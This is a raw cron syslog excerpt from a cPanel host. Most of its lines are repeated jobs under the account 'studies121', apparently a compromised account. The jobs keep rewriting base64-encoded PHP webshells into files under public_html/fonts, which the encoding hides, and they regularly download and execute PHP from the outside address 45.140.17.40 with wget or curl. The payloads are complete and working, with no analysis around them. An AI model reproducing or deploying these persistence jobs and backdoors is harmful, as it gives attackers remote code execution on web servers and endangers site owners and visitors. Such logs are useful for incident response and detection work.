Sep  9 09:37:01 ip-184-168-122-23 CROND[22512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:37:02 ip-184-168-122-23 CROND[22515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:37:02 ip-184-168-122-23 CROND[22514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:37:02 ip-184-168-122-23 CROND[22518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:38:01 ip-184-168-122-23 CROND[22615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:38:01 ip-184-168-122-23 CROND[22617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:38:01 ip-184-168-122-23 CROND[22619]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:38:01 ip-184-168-122-23 CROND[22618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:38:01 ip-184-168-122-23 CROND[22620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:39:01 ip-184-168-122-23 CROND[22740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:39:01 ip-184-168-122-23 CROND[22741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:39:01 ip-184-168-122-23 CROND[22744]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 09:39:01 ip-184-168-122-23 CROND[22745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:39:01 ip-184-168-122-23 CROND[22748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:40:01 ip-184-168-122-23 CROND[22840]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:40:01 ip-184-168-122-23 CROND[22842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:40:01 ip-184-168-122-23 CROND[22846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:40:01 ip-184-168-122-23 CROND[22843]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:40:01 ip-184-168-122-23 CROND[22847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:40:01 ip-184-168-122-23 CROND[22845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:40:01 ip-184-168-122-23 CROND[22848]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 09:40:01 ip-184-168-122-23 CROND[22852]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:41:01 ip-184-168-122-23 CROND[22948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:41:01 ip-184-168-122-23 CROND[22950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:41:01 ip-184-168-122-23 CROND[22949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:41:01 ip-184-168-122-23 CROND[22952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:42:01 ip-184-168-122-23 CROND[23128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:42:01 ip-184-168-122-23 CROND[23130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:42:01 ip-184-168-122-23 CROND[23131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:42:01 ip-184-168-122-23 CROND[23133]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:42:01 ip-184-168-122-23 CROND[23134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:43:01 ip-184-168-122-23 CROND[23246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:43:01 ip-184-168-122-23 CROND[23249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:43:01 ip-184-168-122-23 CROND[23250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:43:01 ip-184-168-122-23 CROND[23248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:44:01 ip-184-168-122-23 CROND[23377]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:44:01 ip-184-168-122-23 CROND[23379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:44:01 ip-184-168-122-23 CROND[23380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:44:01 ip-184-168-122-23 CROND[23381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:44:01 ip-184-168-122-23 CROND[23382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:45:02 ip-184-168-122-23 CROND[23483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:45:02 ip-184-168-122-23 CROND[23484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:45:02 ip-184-168-122-23 CROND[23486]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:45:02 ip-184-168-122-23 CROND[23490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:45:02 ip-184-168-122-23 CROND[23491]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:45:02 ip-184-168-122-23 CROND[23492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:46:01 ip-184-168-122-23 CROND[23595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:46:01 ip-184-168-122-23 CROND[23598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:46:01 ip-184-168-122-23 CROND[23597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:46:01 ip-184-168-122-23 CROND[23602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:46:01 ip-184-168-122-23 CROND[23604]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:46:01 ip-184-168-122-23 CROND[23601]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 09:46:01 ip-184-168-122-23 CROND[23599]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 09:47:01 ip-184-168-122-23 CROND[23790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:47:01 ip-184-168-122-23 CROND[23792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:47:01 ip-184-168-122-23 CROND[23793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:47:01 ip-184-168-122-23 CROND[23796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:48:01 ip-184-168-122-23 CROND[23881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:48:01 ip-184-168-122-23 CROND[23883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:48:01 ip-184-168-122-23 CROND[23884]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:48:01 ip-184-168-122-23 CROND[23887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:48:01 ip-184-168-122-23 CROND[23889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:49:01 ip-184-168-122-23 CROND[23995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
